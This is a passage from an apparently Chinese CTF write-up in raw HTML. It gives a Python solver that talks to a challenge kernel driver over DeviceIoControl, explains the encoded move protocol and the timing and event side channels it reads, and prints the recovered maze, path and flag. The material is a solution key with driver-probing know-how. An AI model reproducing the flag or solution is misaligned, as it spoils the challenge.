leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">if</span> path:</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">if</span> credential <span class="code-snippet__keyword">is</span> <span class="code-snippet__literal">None</span>:</span><span leaf=""><br/></span><span leaf="">                gate.reset()</span><span leaf=""><br/></span><span leaf="">                replay_result = <span class="code-snippet__literal">None</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">for</span> move <span class="code-snippet__keyword">in</span> path:</span><span leaf=""><br/></span><span leaf="">                    replay_result = gate.move(move)</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">if</span> replay_result <span class="code-snippet__keyword">and</span> replay_result[<span class="code-snippet__string">&#34;credential&#34;</span>]:</span><span leaf=""><br/></span><span leaf="">                    credential = replay_result[<span class="code-snippet__string">&#34;credential&#34;</span>]</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">return</span> path, credential, open_edges</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">if</span> <span class="code-snippet__keyword">not</span> progress <span class="code-snippet__keyword">and</span> <span class="code-snippet__keyword">not</span> pending:</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">break</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">raise</span> WinError(<span class="code-snippet__string">&#34;solve did not converge&#34;</span>)</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">def</span> <span class="code-snippet__title">render_ascii</span>(<span class="code-snippet__params">width, height, open_edges</span>):</span><span leaf=""><br/></span><span leaf="">    rows = [[<span class="code-snippet__string">&#34;#&#34;</span>] * (width * <span class="code-snippet__number">2</span> + <span class="code-snippet__number">1</span>) <span class="code-snippet__keyword">for</span> _ <span class="code-snippet__keyword">in</span> <span class="code-snippet__built_in">range</span>(height * <span class="code-snippet__number">2</span> + <span class="code-snippet__number">1</span>)]</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">for</span> y <span class="code-snippet__keyword">in</span> <span class="code-snippet__built_in">range</span>(height):</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">for</span> x <span class="code-snippet__keyword">in</span> <span class="code-snippet__built_in">range</span>(width):</span><span leaf=""><br/></span><span leaf="">            rows[y * <span class="code-snippet__number">2</span> + <span class="code-snippet__number">1</span>][x * <span class="code-snippet__number">2</span> + <span class="code-snippet__number">1</span>] = <span class="code-snippet__string">&#34;.&#34;</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">for</span> (x, y), edges <span class="code-snippet__keyword">in</span> open_edges.items():</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">for</span> move, _ <span class="code-snippet__keyword">in</span> edges.items():</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">if</span> move == <span class="code-snippet__string">&#34;D&#34;</span>:</span><span leaf=""><br/></span><span leaf="">                rows[y * <span class="code-snippet__number">2</span> + <span class="code-snippet__number">1</span>][x * <span class="code-snippet__number">2</span> + <span class="code-snippet__number">2</span>] = <span class="code-snippet__string">&#34; &#34;</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">elif</span> move == <span class="code-snippet__string">&#34;S&#34;</span>:</span><span leaf=""><br/></span><span leaf="">                rows[y * <span class="code-snippet__number">2</span> + <span class="code-snippet__number">2</span>][x * <span class="code-snippet__number">2</span> + <span class="code-snippet__number">1</span>] = <span class="code-snippet__string">&#34; &#34;</span></span><span leaf=""><br/></span><span leaf="">    rows[<span class="code-snippet__number">1</span>][<span class="code-snippet__number">1</span>] = <span class="code-snippet__string">&#34;S&#34;</span></span><span leaf=""><br/></span><span leaf="">    rows[height * <span class="code-snippet__number">2</span> - <span class="code-snippet__number">1</span>][width * <span class="code-snippet__number">2</span> - <span class="code-snippet__number">1</span>] = <span class="code-snippet__string">&#34;E&#34;</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">return</span> <span class="code-snippet__string">&#34;\n&#34;</span>.join(<span class="code-snippet__string">&#34;&#34;</span>.join(r) <span class="code-snippet__keyword">for</span> r <span class="code-snippet__keyword">in</span> rows)</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">def</span> <span class="code-snippet__title">main</span>():</span><span leaf=""><br/></span><span leaf="">    parser = argparse.ArgumentParser()</span><span leaf=""><br/></span><span leaf="">    parser.add_argument(<span class="code-snippet__string">&#34;--probe&#34;</span>, metavar=<span class="code-snippet__string">&#34;PATH&#34;</span>)</span><span leaf=""><br/></span><span leaf="">    parser.add_argument(<span class="code-snippet__string">&#34;--solve&#34;</span>, action=<span class="code-snippet__string">&#34;store_true&#34;</span>)</span><span leaf=""><br/></span><span leaf="">    parser.add_argument(<span class="code-snippet__string">&#34;--show-map&#34;</span>, action=<span class="code-snippet__string">&#34;store_true&#34;</span>)</span><span leaf=""><br/></span><span leaf="">    args = parser.parse_args()</span><span leaf=""><br/></span><span leaf="">    gate = ShadowGate().<span class="code-snippet__built_in">open</span>()</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">try</span>:</span><span leaf=""><br/></span><span leaf="">        width, height, sx, sy, ex, ey = gate.query_maze()</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__built_in">print</span>(<span class="code-snippet__string">f&#34;maze: </span></span><span leaf=""><span class="code-snippet__string">{width}</span></span><span leaf=""><span class="code-snippet__string">x</span></span><span leaf=""><span class="code-snippet__string">{height}</span></span><span leaf=""><span class="code-snippet__string"> start=(</span></span><span leaf=""><span class="code-snippet__string">{sx}</span></span><span leaf=""><span class="code-snippet__string">,</span></span><span leaf=""><span class="code-snippet__string">{sy}</span></span><span leaf=""><span class="code-snippet__string">) exit=(</span></span><span leaf=""><span class="code-snippet__string">{ex}</span></span><span leaf=""><span class="code-snippet__string">,</span></span><span leaf=""><span class="code-snippet__string">{ey}</span></span><span leaf=""><span class="code-snippet__string">)&#34;</span>)</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__built_in">print</span>(<span class="code-snippet__string">f&#34;events: ok=</span></span><span leaf=""><span class="code-snippet__string">{</span><span class="code-snippet__built_in">bool</span><span class="code-snippet__string">(gate.event_ok)}</span></span><span leaf=""><span class="code-snippet__string"> wall=</span></span><span leaf=""><span class="code-snippet__string">{</span><span class="code-snippet__built_in">bool</span><span class="code-snippet__string">(gate.event_wall)}</span></span><span leaf=""><span class="code-snippet__string">&#34;</span>)</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__built_in">print</span>(<span class="code-snippet__string">f&#34;semaphores: ok=</span></span><span leaf=""><span class="code-snippet__string">{</span><span class="code-snippet__built_in">bool</span><span class="code-snippet__string">(gate.sem_ok)}</span></span><span leaf=""><span class="code-snippet__string"> wall=</span></span><span leaf=""><span class="code-snippet__string">{</span><span class="code-snippet__built_in">bool</span><span class="code-snippet__string">(gate.sem_wall)}</span></span><span leaf=""><span class="code-snippet__string">&#34;</span>)</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">if</span> args.probe:</span><span leaf=""><br/></span><span leaf="">            gate.reset()</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">for</span> ch <span class="code-snippet__keyword">in</span> args.probe.upper():</span><span leaf=""><br/></span><span leaf="">                result = gate.move(ch)</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__built_in">print</span>(</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__string">f&#34;</span></span><span leaf=""><span class="code-snippet__string">{ch}</span></span><span leaf=""><span class="code-snippet__string">: outcome=</span></span><span leaf=""><span class="code-snippet__string">{result[&#39;outcome&#39;]}</span></span><span leaf=""><span class="code-snippet__string"> &#34;</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__string">f&#34;last_error=0x</span></span><span leaf=""><span class="code-snippet__string">{result[&#39;last_error&#39;]:08X}</span></span><span leaf=""><span class="code-snippet__string"> &#34;</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__string">f&#34;time_ms=</span></span><span leaf=""><span class="code-snippet__string">{result[&#39;time_ms&#39;]:</span><span class="code-snippet__number">.2</span><span class="code-snippet__string">f}</span></span><span leaf=""><span class="code-snippet__string"> &#34;</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__string">f&#34;slot5_predicted_ms=</span></span><span leaf=""><span class="code-snippet__string">{result[&#39;slot5_predicted_ms&#39;]}</span></span><span leaf=""><span class="code-snippet__string"> &#34;</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__string">f&#34;slot5_hit=</span></span><span leaf=""><span class="code-snippet__string">{result[&#39;slot5_hit&#39;]}</span></span><span leaf=""><span class="code-snippet__string"> &#34;</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__string">f&#34;signals=</span></span><span leaf=""><span class="code-snippet__string">{result[&#39;signals&#39;]}</span></span><span leaf=""><span class="code-snippet__string">&#34;</span></span><span leaf=""><br/></span><span leaf="">                )</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">return</span> <span class="code-snippet__number">0</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">if</span> args.solve:</span><span leaf=""><br/></span><span leaf="">            path, credential, open_edges = solve_via_iterative_exploration(</span><span leaf=""><br/></span><span leaf="">                gate, width, height, (sx, sy), (ex, ey)</span><span leaf=""><br/></span><span leaf="">            )</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__built_in">print</span>(<span class="code-snippet__string">f&#34;path=</span></span><span leaf=""><span class="code-snippet__string">{path}</span></span><span leaf=""><span class="code-snippet__string">&#34;</span>)</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">if</span> credential:</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__built_in">print</span>(<span class="code-snippet__string">f&#34;credential=</span></span><span leaf=""><span class="code-snippet__string">{credential}</span></span><span leaf=""><span class="code-snippet__string">&#34;</span>)</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">if</span> args.show_map:</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__built_in">print</span>(render_ascii(width, height, open_edges))</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">return</span> <span class="code-snippet__number">0</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__built_in">print</span>(<span class="code-snippet__string">&#34;use --solve or --probe&#34;</span>)</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">return</span> <span class="code-snippet__number">0</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">finally</span>:</span><span leaf=""><br/></span><span leaf="">        gate.close()</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">if</span> __name__ == <span class="code-snippet__string">&#34;__main__&#34;</span>:</span><span leaf=""><br/></span><span leaf="">    sys.exit(main())</span></code></pre></p><h3 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="moav6cm6ceb" style="font-size: 15px;"><span leaf="">① 单步观测 ShadowGate.move()</span></span></h3><p><span mpa-font-style="moav6cm61s78" style="font-size: 15px;"><span leaf="">按协议构造</span><strong><span leaf="">MOVE_REQ</span></strong></span></p><ul style="list-style-type: disc;padding-left: 1.2em;color: rgb(37, 37, 37);" class="list-paddingleft-1"><li><p><span leaf="" mpa-font-style="moav6cm641s" style="font-size: 15px;">encoded_dir = ror8(move_code ^ 0x5A, 5)</span></p></li><li><p><span leaf="" mpa-font-style="moav6cm61zk6" style="font-size: 15px;">checksum = encoded_dir ^ op_count ^ 0xDEAD1337</span></p></li><ul style="list-style-type: disc;padding-left: 1.2em;color: rgb(37, 37, 37);" class="list-paddingleft-1"><li><p><span leaf="" mpa-font-style="moav6cm61569" style="font-size: 15px;">事件：MazeMoveOK / MazeMoveWall</span></p></li><li><p><span leaf="" mpa-font-style="moav6cm61mdx" style="font-size: 15px;">信号量：A7F3... / B8E2...</span></p></li><li><p><span leaf="" mpa-font-style="moav6cm6hru" style="font-size: 15px;">LastError</span></p></li><li><p><span leaf="" mpa-font-style="moav6cm61thv" style="font-size: 15px;">TEB+0x1748 句柄标志</span></p></li><li><p><span leaf="" mpa-font-style="moav6cm61q56" style="font-size: 15px;">slot5 timing：raw[0:4] ^ 0xBAADF00D 反推出 predicted_ms</span></p></li></ul><ul style="list-style-type: disc;padding-left: 1.2em;color: rgb(37, 37, 37);" class="list-paddingleft-1"><li><p><span leaf="" mpa-font-style="moav6cm61qxb" style="font-size: 15px;">调 DeviceIoControl(IOCTL_MOVE)</span></p></li><li><p><span leaf="" mpa-font-style="moav6cm61c47" style="font-size: 15px;">同时采集 5 个槽位的观测：</span></p></li></ul></ul><h3 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="moav6cm69x4" style="font-size: 15px;"><span leaf="">② 单边判定 probe_move()</span></span></h3><p><span leaf="" mpa-font-style="moav6cm6dxb" style="font-size: 15px;">判断从当前格子朝某方向走一步，这条边是通还是墙？</span></p><p><span leaf="" mpa-font-style="moav6cm620jh" style="font-size: 15px;">做法是：</span></p><ul style="list-style-type: disc;padding-left: 1.2em;color: rgb(37, 37, 37);" class="list-paddingleft-1"><li><p><span leaf="" mpa-font-style="moav6cm61jgw" style="font-size: 15px;">reset</span></p></li><li><p><span leaf="" mpa-font-style="moav6cm619ql" style="font-size: 15px;">replay 到当前待测格子</span></p></li><li><p><span leaf="" mpa-font-style="moav6cm6qss" style="font-size: 15px;">用一个已知成功的小回环 out/back 调整成功步相位</span></p></li><li><p><span leaf="" mpa-font-style="moav6cm61zjl" style="font-size: 15px;">真正发一次待测 move</span></p></li><li><p><span leaf="" mpa-font-style="moav6cm613y7" style="font-size: 15px;">如果命中前四个结果槽位：</span></p></li><ul style="list-style-type: disc;padding-left: 1.2em;color: rgb(37, 37, 37);" class="list-paddingleft-1"><li><p><span leaf="" mpa-font-style="moav6cm61r7j" style="font-size: 15px;">直接判 ok 或 wall</span></p></li></ul><li><p><span leaf="" mpa-font-style="moav6cm6dbe" style="font-size: 15px;">如果命中第五槽位：</span></p></li><ul style="list-style-type: disc;padding-left: 1.2em;color: rgb(37, 37, 37);" class="list-paddingleft-1"><li><p><span leaf="" mpa-font-style="moav6cm6172h" style="font-size: 15px;">只说明当前落在 phase5</span></p></li><li><p><span leaf="" mpa-font-style="moav6cm65ge" style="font-size: 15px;">不做结果判定，继续下一次尝试</span></p></li></ul></ul><h3 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="moav6cm61vtp" style="font-size: 15px;"><span leaf="">③ 图搜索 solve_via_iterative_exploration()</span></span></h3><ul style="list-style-type: disc;padding-left: 1.2em;color: rgb(37, 37, 37);" class="list-paddingleft-1"><li><p><span leaf="" mpa-font-style="moav6cm71cii" style="font-size: 15px;">从起点开始</span></p></li><li><p><span leaf="" mpa-font-style="moav6cm723gd" style="font-size: 15px;">对每个已发现格子的四个方向做 probe_move()</span></p></li><li><p><span leaf="" mpa-font-style="moav6cm71ls2" style="font-size: 15px;">decision == True：</span></p></li><ul style="list-style-type: disc;padding-left: 1.2em;color: rgb(37, 37, 37);" class="list-paddingleft-1"><li><p><span leaf="" mpa-font-style="moav6cm715ik" style="font-size: 15px;">记成通路边，加入图</span></p></li></ul><li><p><span leaf="" mpa-font-style="moav6cm717uf" style="font-size: 15px;">decision == False：</span></p></li><ul style="list-style-type: disc;padding-left: 1.2em;color: rgb(37, 37, 37);" class="list-paddingleft-1"><li><p><span leaf="" mpa-font-style="moav6cm71a0g" style="font-size: 15px;">记成墙</span></p></li></ul><li><p><span leaf="" mpa-font-style="moav6cm79fn" style="font-size: 15px;">decision == None：</span></p></li><ul style="list-style-type: disc;padding-left: 1.2em;color: rgb(37, 37, 37);" class="list-paddingleft-1"><li><p><span leaf="" mpa-font-style="moav6cm71ekv" style="font-size: 15px;">暂时放回队列，后续再试</span></p></li></ul></ul><h3 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="moav6cm712cn" style="font-size: 15px;"><span leaf="">④ 最短路径</span></span></h3><p><span leaf="" mpa-font-style="moav6cm719gw" style="font-size: 15px;">每次图有新边之后，用 shortest_path() 在当前已恢复图上跑 BFS：</span></p><ul style="list-style-type: disc;padding-left: 1.2em;color: rgb(37, 37, 37);" class="list-paddingleft-1"><li><p><span leaf="" mpa-font-style="moav6cm716rf" style="font-size: 15px;">找到起点到终点的最短路</span></p></li><li><p><span leaf="" mpa-font-style="moav6cm71zox" style="font-size: 15px;">一旦终点连通，再 replay 一次路径</span></p></li><li><p><span leaf="" mpa-font-style="moav6cm7huc" style="font-size: 15px;">从返回缓冲取 credential</span></p></li></ul><p><span leaf="" mpa-font-style="moav6cm7qb6" style="font-size: 15px;">通过如下命令执行算法（需要加载驱动）</span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="moav6cm7cly"><span leaf="">python shadowgate_solve</span><span leaf="">.py</span><span leaf="">--solve</span></code></pre></p><p><span leaf="" mpa-font-style="moav6cm7zge" style="font-size: 15px;">得到输出</span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="moav6cm71tmv"><span leaf="">maze: 13x13 start=(0,0) exit=(12,12)</span><span leaf=""><br/></span><span leaf="">events: ok=True wall=True</span><span leaf=""><br/></span><span leaf="">semaphores: ok=True wall=True</span><span leaf=""><br/></span><span leaf="">path=DDDDDDSSDDDDWWDDSSSSSSSSAASSSSDD</span><span leaf=""><br/></span><span leaf="">credential=flag{SHAD0WNT_HYPERVMX}</span></code></pre></p><p><span mpa-font-style="moav6cm71tfq" style="font-size: 15px;"><span leaf="">得到了最短路径和</span><strong><span leaf="">flag</span></strong><span leaf="">，具体执行时间有差异，在我的设备上应该在</span><strong><span leaf="">70s</span></strong><span leaf="">左右</span></span></p><h2 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="moav6cm71lzg" style="font-size: 15px;"><span leaf="">五、构建地图</span></span></h2><p><span leaf="" mpa-font-style="moav6cm7320" style="font-size: 15px;">在前者的基础上设计建图脚本</span></p><h3 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="moav6cm7ydr" style="font-size: 15px;"><span leaf="">⑤ 完整建图 explore_full_map()</span></span></h3><p><span leaf="" mpa-font-style="moav6cm71zie" style="font-size: 15px;">核心数据结构：</span></p><ul style="list-style-type: disc;padding-left: 1.2em;color: rgb(37, 37, 37);" class="list-paddingleft-1"><li><p><span leaf="" mpa-font-style="moav6cm7hdb" style="font-size: 15px;">open_edges</span></p></li><ul style="list-style-type: disc;padding-left: 1.2em;color: rgb(37, 37, 37);" class="list-paddingleft-1"><li><p><span leaf="" mpa-font-style="moav6cm71xw1" style="font-size: 15px;">已确认通路边</span></p></li></ul><li><p><span leaf="" mpa-font-style="moav6cm71chb" style="font-size: 15px;">walls</span></p></li><ul style="list-style-type: disc;padding-left: 1.2em;color: rgb(37, 37, 37);" class="list-paddingleft-1"><li><p><span leaf="" mpa-font-style="moav6cm71dnw" style="font-size: 15px;">已确认墙边</span></p></li></ul><li><p><span leaf="" mpa-font-style="moav6cm71qnm" style="font-size: 15px;">discovered</span></p></li><ul style="list-style-type: disc;padding-left: 1.2em;color: rgb(37, 37, 37);" class="list-paddingleft-1"><li><p><span leaf="" mpa-font-style="moav6cm71u3n" style="font-size: 15px;">已发现可达格子</span></p></li></ul><li><p><span leaf="" mpa-font-style="moav6cm71qf4" style="font-size: 15px;">tasks</span></p></li><ul style="list-style-type: disc;padding-left: 1.2em;color: rgb(37, 37, 37);" class="list-paddingleft-1"><li><p><span leaf="" mpa-font-style="moav6cm72209" style="font-size: 15px;">尚未确认的候选边 (cell, move)</span></p></li></ul><li><p><span leaf="" mpa-font-style="moav6cm7d9w" style="font-size: 15px;">attempts</span></p></li><ul style="list-style-type: disc;padding-left: 1.2em;color: rgb(37, 37, 37);" class="list-paddingleft-1"><li><p><span leaf="" mpa-font-style="moav6cm71smh" style="font-size: 15px;">每条候选边已经回炉过多少次</span></p></li></ul></ul><p><span leaf="" mpa-font-style="moav6cm7v3f" style="font-size: 15px;">流程如下：</span></p><ul style="list-style-type: disc;padding-left: 1.2em;color: rgb(37, 37, 37);" class="list-paddingleft-1"><li><p><span leaf="" mpa-font-style="moav6cm7g5v" style="font-size: 15px;">从起点开始，把起点四个方向加入任务队列</span></p></li><li><p><span leaf="" mpa-font-style="moav6cm71qlm" style="font-size: 15px;">每次从队列中取出一条候选边 (cell, move)</span></p></li><li><p><span leaf="" mpa-font-style="moav6cm723gv" style="font-size: 15px;">用 shortest_path(open_edges, start, cell) 求从起点到该格子的当前已知路径</span></p></li><li><p><span leaf="" mpa-font-style="moav6cm78mx" style="font-size: 15px;">调用 probe_move() 判断这条边</span></p></li><li><p><span leaf="" mpa-font-style="moav6cm71vy9" style="font-size: 15px;">若 decision == True</span></p></li><ul style="list-style-type: disc;padding-left: 1.2em;color: rgb(37, 37, 37);" class="list-paddingleft-1"><li><p><span leaf="" mpa-font-style="moav6cm7qkc" style="font-size: 15px;">将这条边加入 open_edges</span></p></li><li><p><span leaf="" mpa-font-style="moav6cm7c6y" style="font-size: 15px;">把新到达的格子加入 discovered</span></p></li><li><p><span leaf="" mpa-font-style="moav6cm7ioy" style="font-size: 15px;">再把这个新格子的候选边加入任务队列</span></p></li></ul><li><p><span leaf="" mpa-font-style="moav6cm7q55" style="font-size: 15px;">若 decision == False</span></p></li><ul style="list-style-type: disc;padding-left: 1.2em;color: rgb(37, 37, 37);" class="list-paddingleft-1"><li><p><span leaf="" mpa-font-style="moav6cm7106n" style="font-size: 15px;">将该边加入 walls</span></p></li></ul><li><p><span leaf="" mpa-font-style="moav6cm71n4t" style="font-size: 15px;">若 decision == None</span></p></li><ul style="list-style-type: disc;padding-left: 1.2em;color: rgb(37, 37, 37);" class="list-paddingleft-1"><li><p><span leaf="" mpa-font-style="moav6cm79mk" style="font-size: 15px;">表示这次只命中 slot5 或暂时未定</span></p></li><li><p><span leaf="" mpa-font-style="moav6cm7xt6" style="font-size: 15px;">该边最多回炉有限次数，再次入队</span></p></li></ul></ul><h3 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="moav6cm73yo" style="font-size: 15px;"><span leaf="">⑥ 地图收敛与最短路径</span></span></h3><p><span leaf="" mpa-font-style="moav6cm71iw9" style="font-size: 15px;">完整建图跑完后，脚本会得到完整的 ASCII 迷宫地图，open_edges，随后脚本再用 shortest_path() 在完整恢复的图上跑 BFS，得到起点到终点的最短路，并replay 一次，从返回缓冲中提取 credential。</span></p><p><span leaf="" mpa-font-style="moav6cm7163r" style="font-size: 15px;">通过如下命令执行算法（需要加载驱动）：</span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="moav6cm71p3s"><span leaf="">python shadowgate_map</span><span leaf="">.py</span><span leaf="">--map</span></code></pre></p><p><span leaf="" mpa-font-style="moav6cm7kxr" style="font-size: 15px;">得到输出：</span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="moav6cm76gf"><span leaf="">maze: 13x13 start=(0,0) exit=(12,12)</span><span leaf=""><br/></span><span leaf="">events: ok=True wall=True</span><span leaf=""><br/></span><span leaf="">semaphores: ok=True wall=True</span><span leaf=""><br/></span><span leaf="">#</span><span leaf=""><span class="code-snippet__comment">##########################</span></span><span leaf=""><br/></span><span leaf="">#</span><span leaf="">S . . . . . .<span class="code-snippet__comment">#.#. . . . .#</span></span><span leaf=""><br/></span><span leaf="">#</span><span leaf=""><span class="code-snippet__comment">############ ####### ### #</span></span><span leaf=""><br/></span><span leaf="">#</span><span leaf="">.<span class="code-snippet__comment">#.#.#.#.#.#.#.#.#.#.#.#.#</span></span><span leaf=""><br/></span><span leaf="">#</span><span leaf=""><span class="code-snippet__comment">############ ####### ### #</span></span><span leaf=""><br/></span><span leaf="">#</span><span leaf="">. . . . .<span class="code-snippet__comment">#.#. . . . .#.#.#</span></span><span leaf=""><br/></span><span leaf=""># </span><span leaf=""><span class="code-snippet__comment">####### ############### #</span></span><span leaf=""><br/></span><span leaf="">#</span><span leaf="">.<span class="code-snippet__comment">#.#.#.#.#.#.#.#.#.#.#.#.#</span></span><span leaf=""><br/></span><span leaf=""># </span><span leaf=""><span class="code-snippet__comment">####### ############### #</span></span><span leaf=""><br/></span><span leaf="">#</span><span leaf="">.<span class="code-snippet__comment">#.#. . . . . . . . .#.#.#</span></span><span leaf=""><br/></span><span leaf=""># </span><span leaf=""><span class="code-snippet__comment">### ### ########### ### #</span></span><span leaf=""><br/></span><span leaf="">#</span><span leaf="">.<span class="code-snippet__comment">#.#.#.#.#.#.#.#.#.#.#.#.#</span></span><span leaf=""><br/></span><span leaf=""># </span><span leaf=""><span class="code-snippet__comment">### ### ########### ### #</span></span><span leaf=""><br/></span><span leaf="">#</span><span leaf="">.<span class="code-snippet__comment">#.#.#.#.#.#. . .#.#.#.#.#</span></span><span leaf=""><br/></span><span leaf=""># </span><span leaf=""><span class="code-snippet__comment">### ####### ### ####### #</span></span><span leaf=""><br/></span><span leaf="">#</span><span leaf="">.<span class="code-snippet__comment">#.#.#.#.#.#.#.#.#.#.#.#.#</span></span><span leaf=""><br/></span><span leaf=""># </span><span leaf=""><span class="code-snippet__comment">### ####### ### ####### #</span></span><span leaf=""><br/></span><span leaf="">#</span><span leaf="">.<span class="code-snippet__comment">#.#. . . . .#.#.#.#. . .#</span></span><span leaf=""><br/></span><span leaf=""># </span><span leaf=""><span class="code-snippet__comment">############### ### #####</span></span><span leaf=""><br/></span><span leaf="">#</span><span leaf="">.<span class="code-snippet__comment">#.#.#.#.#.#.#.#.#.#.#.#.#</span></span><span leaf=""><br/></span><span leaf=""># </span><span leaf=""><span class="code-snippet__comment">############### ### #####</span></span><span leaf=""><br/></span><span leaf="">#</span><span leaf="">. . .<span class="code-snippet__comment">#.#. . .#.#.#.#.#.#.#</span></span><span leaf=""><br/></span><span leaf="">#</span><span leaf=""><span class="code-snippet__comment">#### ### ### ### ### ### #</span></span><span leaf=""><br/></span><span leaf="">#</span><span leaf="">.<span class="code-snippet__comment">#.#.#.#.#.#.#.#.#.#.#.#.#</span></span><span leaf=""><br/></span><span leaf="">#</span><span leaf=""><span class="code-snippet__comment">#### ### ### ### ### ### #</span></span><span leaf=""><br/></span><span leaf="">#</span><span leaf="">. . . . .<span class="code-snippet__comment">#.#.#.#. . . . E#</span></span><span leaf=""><br/></span><span leaf="">#</span><span leaf=""><span class="code-snippet__comment">##########################</span></span><span leaf=""><br/></span><span leaf="">path=DDDDDDSSDDDDWWDDSSSSSSSSAASSSSDD</span><span leaf=""><br/></span><span leaf="">credential=flag{SHAD0WNT_HYPERVMX}</span><span leaf=""><br/></span><span leaf="">discovered=97</span><span leaf=""><br/></span><span leaf="">unresolved=0</span></code></pre></p><p><span mpa-font-style="moav6cm71e75" style="font-size: 15px;"><span leaf="">得到了地图、最短路径和</span><strong><span leaf="">flag</span></strong><span leaf="">，具体执行时间有差异，在我的设备上应该在</span><strong><span leaf="">600s</span></strong><span leaf="">左右。</span></span></p><ul style="list-style-type: disc;" class="list-paddingleft-1"></ul><div data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="margin-bottom: 0px;-webkit-tap-highlight-color: transparent;outline: 0px;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;caret-color: rgb(51, 51, 51);background-color: rgb(255, 255, 255);color: rgb(63, 63, 63);letter-spacing: 1px;"><div data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="margin-right: auto;margin-left: auto;padding: 15px;-webkit-tap-highlight-color: transparent;outline: 0px;display: flex;font-variant-numeric: normal;letter-spacing: 0.544px;line-height: 27.2px;width: 656.688px;justify-content: space-between;align-items: center;flex-direction: row;box-shadow: rgb(217, 218, 218) 0px 0px 10px;background-color: rgb(232, 234, 235);"><div data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;display: flex;justify-content: flex-start;align-items: center;flex-direction: row;"><div data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;letter-spacing: 0.544px;border-width: 1px;border-style: solid;border-color: rgb(182, 182, 187);border-radius: 50%;width: 70px;height: 70px;overflow: hidden;"><p 